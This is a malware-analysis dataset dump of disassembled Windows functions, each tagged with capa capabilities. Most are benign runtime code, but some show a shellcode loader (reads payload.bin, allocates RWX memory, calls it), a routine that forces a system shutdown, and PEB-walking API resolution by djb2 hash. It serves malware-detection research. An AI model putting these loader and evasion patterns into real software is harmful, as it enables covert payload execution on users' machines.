joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140027a14
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d94c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d94c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027b64
cmp rax, 0xffffffffffffffff
je 0x140027b64
xor edi, edi
test rbp, rbp
jle 0x140027b0f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001adb4
mov rbx, rax
test rax, rax
jne 0x140027a9c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027b05
mov edx, 0x8000
mov ecx, r14d
call fcn.140014418
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c474
cmp eax, 0xffffffff
je 0x140027ae5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027aac
mov edx, r15d
mov ecx, r14d
call fcn.140014418
jmp 0x140027b05
cmp byte [rsi + 0x38], dil
je 0x140027afc
cmp dword [rsi + 0x34], 5
jne 0x140027afc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027b05
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a230
jmp 0x140027b78
jns 0x140027b78
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d94c
cmp rax, 0xffffffffffffffff
jne 0x140027b30
cmp byte [rsi + 0x30], dil
je 0x140027b78
mov edi, dword [rsi + 0x2c]
jmp 0x140027b78
mov ecx, r14d
call fcn.140020488
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027b78
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027b78
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027b71
mov eax, dword [rsi + 0x2c]
jmp 0x140027b76
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d94c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x6d8bf1d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d8e05e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d8bf358
mov rax, qword [0x6d8e05e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d8bf21c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d8bf2a5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d8bf200
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d8bf38d
mov rax, qword [0x6d8e05e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d8e05e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d8bf370
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d8bf29e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d8bf300
add dword [0x6d8e05e4], 1
cmp edi, 8
jae 0x6d8bf2d3
test dil, 4
jne 0x6d8bf344
test edi, edi
je 0x6d8bf2c8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d8bf35f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d8bf2c8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d8bf2ec
jmp 0x6d8bf2c8
add rsi, qword [0x6d8e05e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d8bf29e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d8bf2c8
xor esi, esi
jmp 0x6d8bf227
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d8bf2c8
mov rax, qword [0x6d8e05e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d8bfae0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d8e08c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d8e08a0]
test rbx, rbx
je 0x6d8bfb34
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d8bfb2b
test rsi, rsi
je 0x6d8bfb2b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d8bfb10
lea rcx, [0x6d8e08c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d8bfd70
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8bfd80
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8bfd90
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8bfdd1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8bfdc8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8bfdd3
add rax, 0x28
cmp rax, r9
jne 0x6d8bfdb4
xor eax, eax
ret

Function at 0x6d8bfe70
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8dd1f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d8bfedd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8bfedd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8bfedd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8bfed4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8bfedf
add rax, 0x28
cmp rax, r9
jne 0x6d8bfec0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d8bffe0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8dd1f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d8c0000
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8bfff8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8c005d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8c0054
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8c0064
add rax, 0x28
cmp rax, r9
jne 0x6d8c0040
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d8c0080
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8dd1f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8c00ee
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8c00ee
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8c00ee
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8c00ee
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8c00e5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8c00f5
add rcx, 0x28
cmp rcx, rax
jne 0x6d8c00d0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8c0108
jmp 0x6d8c00ee
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8c0116
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8c00ee
test r9d, r9d
jg 0x6d8c0100
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8c0480
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400033c0
Capabilities:
Inspect section memory permissions

Disassembly:
mov eax, 1
jmp 0x1400033d0
Function at 0x140005180
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rax, qword [0x14002b010]
xor rax, rsp
mov qword [rsp + 0x28], rax
stmxcsr dword [rsp + 0x24]
or dword [rsp + 0x24], 0x8040
ldmxcsr dword [rsp + 0x24]
lea rcx, str.payload.bin
lea rdx, [0x1400241cc]
call fcn.14000b680
mov rdi, rax
mov rcx, rax
xor edx, edx
mov r8d, 2
call fcn.14000baa0
mov rcx, rdi
call fcn.14000bcc0
movsxd rsi, eax
mov rcx, rdi
xor edx, edx
xor r8d, r8d
call fcn.14000baa0
mov rcx, rsi
call fcn.14000c1d0
mov rbx, rax
mov r8d, 1
mov rcx, rax
mov rdx, rsi
mov r9, rdi
call fcn.14000b7ec
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov rcx, rax
mov rdx, rbx
mov r8, rsi
call fcn.140005290
call rdi
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14000fe30
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret

Function at 0x14000a30c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000a444
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000a4ab
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a4ab
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a4ab
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a4ab
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a4ab
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a4ab
cmp dword [rcx + 0xf8], 0
je 0x14000a4ab
mov ecx, ebx
call fcn.14000a390
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000a5d8
cmp dword [rbp + 0x20], 0
je 0x14000a4f8
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000a3ec
int3
Function at 0x14000b9ac
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b730
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba02
mov ecx, 1
call fcn.14000b730
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
mov esi, ds
invalid
Function at 0x140003174
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400031be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400031be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400031be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400031be
cmp dword [rcx + 0x84], 0xe
jbe 0x1400031be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400031c0
xor al, al
add rsp, 0x28
ret

Function at 0x140007af0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000791c
Function at 0x140001000
Capabilities:
Create process on windows
Execute command

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x28], 5
lea r8, str.https:__www.youtube.com_watch_vdQw4w9WgXcQ
xor r9d, r9d
mov qword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.https:__media.discordapp.net_attachments_964222431571091516_1021767832704389212_1663678828350.gif
mov qword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.shutdown__p
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x38
ret

Function at 0x140001958
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019a2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019a2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019a2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019a2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019a2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019a4
xor al, al
add rsp, 0x28
ret
Function at 0x140002930
Capabilities:
Access peb ldr_data
Hash data using djb2
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
mov eax, 0x30
mov rax, qword gs:[eax]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
add rax, 0x10
jmp 0x14000296f
mov r8d, 0x1505
cmp r8d, 0x1edab0ed
je 0x1400029d3
mov rax, qword [rax]
movzx edx, word [rax + 0x58]
test rdx, rdx
je 0x140002960
mov r9, qword [rax + 0x60]
mov r8d, 0x1505
xor r10d, r10d
nop dword [rax + rax]
movzx r11d, byte [r9 + r10]
test r11b, r11b
jne 0x1400029a4
inc r10
cmp r10, rdx
jb 0x140002990
jmp 0x140002966
lea esi, [r11 - 0x20]
cmp r11b, 0x61
movzx r11d, r11b
movzx esi, sil
cmovb esi, r11d
mov r11d, r8d
shl r11d, 5
add r11d, r8d
movzx r8d, sil
add r8d, r11d
inc r10
cmp r10, rdx
jb 0x140002990
jmp 0x140002966
mov rax, qword [rax + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov r8d, dword [rdx + rax + 0x88]
test r8, r8
je 0x140002aa6
mov edx, dword [r8 + rax + 0x18]
mov r9d, dword [r8 + rax + 0x1c]
add r9, rax
mov r10d, dword [r8 + rax + 0x20]
add r10, rax
mov r11d, dword [r8 + rax + 0x24]
add r11, rax
xor r8d, r8d
xor edi, edi
jmp 0x140002a21
mov ebp, 0x1505
lea rdi, [rsi + 1]
cmp ebp, ecx
je 0x140002aab
cmp rdi, rdx
je 0x140002abc
mov rsi, rdi
mov edi, dword [r10 + rdi*4]
add rdi, rax
mov ebx, 1
mov r14, rdi
nop dword [rax]
dec rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x140002a40
test rbx, rbx
je 0x140002a10
neg rbx
mov ebp, 0x1505
xor r14d, r14d
nop dword [rax]
movzx r15d, byte [rdi + r14]
test r15b, r15b
jne 0x140002a74
inc r14
cmp r14, rbx
jb 0x140002a60
jmp 0x140002a15
lea r12d, [r15 - 0x20]
cmp r15b, 0x61
movzx r15d, r15b
movzx r12d, r12b
cmovb r12d, r15d
mov r15d, ebp
shl r15d, 5
add r15d, ebp
movzx ebp, r12b
add ebp, r15d
inc r14
cmp r14, rbx
jb 0x140002a60
jmp 0x140002a15
xor r8d, r8d
jmp 0x140002abc
movzx ecx, word [r11 + rsi*2]
cmp rcx, rdx
jae 0x140002ad7
mov r8d, dword [r9 + rcx*4]
add r8, rax
movzx eax, word [r8 + 4]
add r8, 0x12
mov rdx, r8
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.callsi_src_syscall_resolve.rs
call fcn.140002b50
ud2
Function at 0x1400053e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140005470
cmp r10, r11
jb 0x1400054e6
cmp r10, rdx
ja 0x1400054fa
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x140005472
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140005450
jmp 0x1400054d4
ja 0x14000547a
mov r11, r10
cmp rax, r8
jne 0x140005414
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x1400054b0
mov rdi, r8
sub ecx, edx
jns 0x1400054cb
jmp 0x1400054d6
cmp r8, rsi
je 0x14000550b
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x1400054d6
xor al, 1
cmp rdi, rsi
jne 0x140005490
jmp 0x1400054d6
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140003e80
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140003420
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_5680fa18feaa87f3ff04063800aec256c3d4b4belibrary_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.1400037e0
ud2
Function at 0x14000e180
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov r9, qword [rcx]
test r9, r9
je 0x14000e1db
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r10
jae 0x14000e1db
movzx eax, byte [r9 + rcx]
cmp eax, 0x49
je 0x14000e1f6
cmp eax, 0x42
jne 0x14000e1db
lea r11, [rcx + 1]
mov qword [rsi + 0x10], r11
cmp r11, r10
jae 0x14000e2a6
cmp byte [r9 + r11], 0x5f
jne 0x14000e2a6
lea rax, [rcx + 2]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x14000e30e
mov rcx, rsi
xor edx, edx
call fcn.140009140
mov edi, eax
add dil, dil
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, rsi
xor edx, edx
call fcn.140009140
test al, al
jne 0x14000e3a1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000e232
lea rdx, [0x14003dcbb]
mov r8d, 1
call fcn.1400034a0
test al, al
jne 0x14000e3a1
mov rax, qword [rsi]
mov dil, 1
test rax, rax
je 0x14000e1ea
xor r14d, r14d
lea rbx, [0x14003e070]
nop word [rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x14000e264
cmp byte [rax + rcx], 0x45
je 0x14000e3ca
sub r14, 1
jb 0x14000e289
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000e289
mov r8d, 2
mov rdx, rbx
call fcn.1400034a0
test al, al
jne 0x14000e3a1
mov rcx, rsi
call fcn.14000aa40
test al, al
jne 0x14000e3a1
mov rax, qword [rsi]
test rax, rax
jne 0x14000e250
jmp 0x14000e1ea
xor eax, eax
mov edi, 0x3e
nop dword [rax]
mov r8b, 1
cmp r11, r10
jae 0x14000e368
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
je 0x14000e302
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x14000e2ec
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x14000e2db
add dl, 0xa9
jmp 0x14000e2ea
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x14000e368
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x14000e368
movzx edx, bl
add rax, rdx
jae 0x14000e2b0
jmp 0x14000e368
inc r11
mov qword [rsi + 0x10], r11
inc rax
je 0x14000e368
cmp rax, rcx
jae 0x14000e365
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f4
ja 0x14000e3a9
cmp qword [rsi + 0x20], 0
je 0x14000e3c3
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
mov rcx, rsi
call fcn.14000e180
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x14000e1ec
mov r8b, 1
xor edi, edi
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000e3b8
lea rax, str.invalid_syntaxrecursion_limit_reached
lea rdx, [0x14003e030]
test r8b, r8b
cmovne rdx, rax
xor r8b, 1
movzx eax, r8b
lea r8, [rax + rax*8]
or r8, 0x10
call fcn.1400034a0
test al, al
je 0x14000e3b8
mov dil, 2
jmp 0x14000e1ea
mov dil, 1
xor r8d, r8d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x14000e373
mov qword [rsi], 0
mov byte [rsi + 8], dil
xor edi, edi
jmp 0x14000e1ea
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x14000e1ea
Function at 0x140011b60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov ecx, dword [0x14003b068]
test ecx, ecx
je 0x140011b90
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jbe 0x140011ba9
mov rdi, rax
cmp qword [rax + 8], 0
je 0x140011ba9
add rdi, 0x10
jmp 0x140011c89
lea rcx, [0x14003b050]
call fcn.140011f00
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
ja 0x140011b7d
mov ecx, dword [0x14003b068]
test ecx, ecx
je 0x140011c6a
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x140011c87
mov rsi, rax
test rax, rax
jne 0x140011c3a
movzx eax, byte [0x140047030]
mov rcx, qword [0x1400470e0]
test rcx, rcx
jne 0x140011bfb
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011ca3
mov rcx, rax
mov qword [0x1400470e0], rax
mov r8d, 0x20
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x140011ca3
mov rsi, rax
lea rax, [0x14003b050]
mov qword [rsi], rax
mov qword [rsi + 8], 0
mov ecx, dword [0x14003b068]
test ecx, ecx
je 0x140011c93
dec ecx
mov rdx, rsi
call sub.KERNEL32.dll_TlsSetValue
lea rdi, [rsi + 0x10]
cmp qword [rsi + 8], 0
mov rcx, qword [rsi + 0x18]
mov qword [rsi + 8], 1
xorps xmm0, xmm0
movups xmmword [rsi + 0x10], xmm0
je 0x140011c89
test rcx, rcx
je 0x140011c89
lock dec qword [rcx]
jne 0x140011c89
call fcn.140011cd0
jmp 0x140011c89
lea rcx, [0x14003b050]
call fcn.140011f00
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jne 0x140011bc8
xor edi, edi
mov rax, rdi
add rsp, 0x28
pop rdi
pop rsi
ret
lea rcx, [0x14003b050]
call fcn.140011f00
mov ecx, eax
jmp 0x140011c32
mov ecx, 8
mov edx, 0x20
call fcn.1400020a0
ud2
Function at 0x140011f00
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rsi, rcx
cmp qword [rcx], 0
je 0x140011f7e
mov dword [rsp + 0x2c], 0
lea rbx, [rsi + 0x10]
lea r8, [rsp + 0x2c]
mov rcx, rbx
xor edx, edx
xor r9d, r9d
call sub.KERNEL32.dll_InitOnceBeginInitialize
mov dword [rsp + 0x28], eax
cmp eax, 1
jne 0x140011fbf
cmp dword [rsp + 0x2c], 0
je 0x140011fa3
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x140011fd9
mov edi, eax
inc eax
mov dword [rsi + 0x18], eax
mov rax, qword [0x1400470e8]
nop
mov qword [rsi + 8], rax
lock cmpxchg qword [0x1400470e8], rsi
jne 0x140011f60
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
jmp 0x140011fb5
call sub.KERNEL32.dll_TlsAlloc
mov dword [rsp + 0x28], eax
cmp eax, 0xffffffff
je 0x140012025
mov ecx, eax
inc ecx
